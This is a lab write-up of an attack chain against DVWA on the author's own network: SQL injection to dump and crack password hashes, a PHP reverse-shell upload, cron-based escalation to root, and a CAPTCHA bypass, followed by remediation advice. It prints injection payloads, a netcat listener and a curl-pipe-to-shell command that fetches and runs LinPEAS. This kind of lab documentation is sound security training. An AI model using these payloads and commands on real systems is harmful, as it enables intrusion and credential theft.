Skip to content
← writeups
RF-2026-004HIGH2026-03-11

SQL Injection → Credential Dump → Root

DVWA (self-hosted, lab VM, 192.168.10.0/24) · web · dvwa · linux · time-to-root 1h52m

Scope

DVWA running on a lab VM on my own 192.168.10.0/24 network, security level set to low. Goal was to run the full chain end to end and document it properly: entry point to root, not just the first flag. No systems outside my own lab were touched.

Recon

Logged into DVWA and walked the module list. The SQL Injection page takes an id parameter over GET with no sanitisation at low security. Confirmed the injection point first:

GET /vulnerabilities/sqli/?id=
id=1' or '1'='1

That returned every row instead of one, which confirmed the query wasn’t parameterised. Next step was working out the column count so a UNION would line up.

GET /vulnerabilities/sqli/?id=
id=1' ORDER BY 2-- -

Two columns, first name and surname. That’s enough to pull whatever else lives in the database.

Exploitation

Stage 1 — dump credentials. Swapped the ORDER BY probe for a UNION against the users table:

GET /vulnerabilities/sqli/?id=
' UNION SELECT user, password FROM users-- -

Came back with five rows of username / MD5 hash pairs. DVWA doesn’t salt these at low security, so they’re crackable straight out of the box.

$
hashcat -m 0 -a 0 dvwa_hashes.txt rockyou.txt

Hashcat cleared all five in under a minute against rockyou.txt — these are default DVWA seed accounts, so the wordlist hit was never in doubt. The point wasn’t the crack speed, it was proving the path from “unsanitised parameter” to “plaintext credentials” is one tool away.

Stage 2 — unrestricted file upload. With admin creds in hand, the File Upload module (low security) does no extension or content-type checking server-side. Uploaded a PHP reverse shell instead of an image:

$
cp php-reverse-shell.php shell.php
# edit LHOST/LPORT to match my listener, then upload via the DVWA form

Started a listener and browsed to the uploaded path to trigger it:

$
nc -lvnp 4444
$
curl http://192.168.10.0/dvwa/hackable/uploads/shell.php

Shell landed as www-data.

Stage 3 — privesc. Pulled LinPEAS onto the box over the reverse shell and ran it to enumerate privesc vectors rather than guessing:

$
curl -s http://192.168.10.0:8000/linpeas.sh | sh

LinPEAS flagged a cron job running as root that called a world-writable script. Overwrote it with a one-liner that copied /bin/bash to a SUID binary, waited for the next run, and had a root shell.

Same engagement, same box: DVWA’s Insecure CAPTCHA module validates the CAPTCHA response client-side only at low security. Replaying the password-change request through Burp with the CAPTCHA fields stripped out changed the account password without ever solving one. Filed separately since it’s a distinct vulnerability class (missing server-side control validation), not part of the SQLi chain above.

Impact

Full chain from an unauthenticated-feeling web parameter to root on the host, plus a second independent bypass of an anti-automation control. In a real engagement this is a “game over” finding — anything else on the box, and anything the box trusted, is in scope from here.

Remediation

  • Parameterised queries everywhere, no exceptions for “internal” pages.
  • Hash with something slow and salted (bcrypt/argon2), not raw MD5.
  • Validate uploads server-side: allowlist extensions, check magic bytes, store outside the webroot.
  • Least-privilege cron: no root cron job should call a script another user can write to.
  • CAPTCHA and other anti-automation checks must be validated server-side, every time.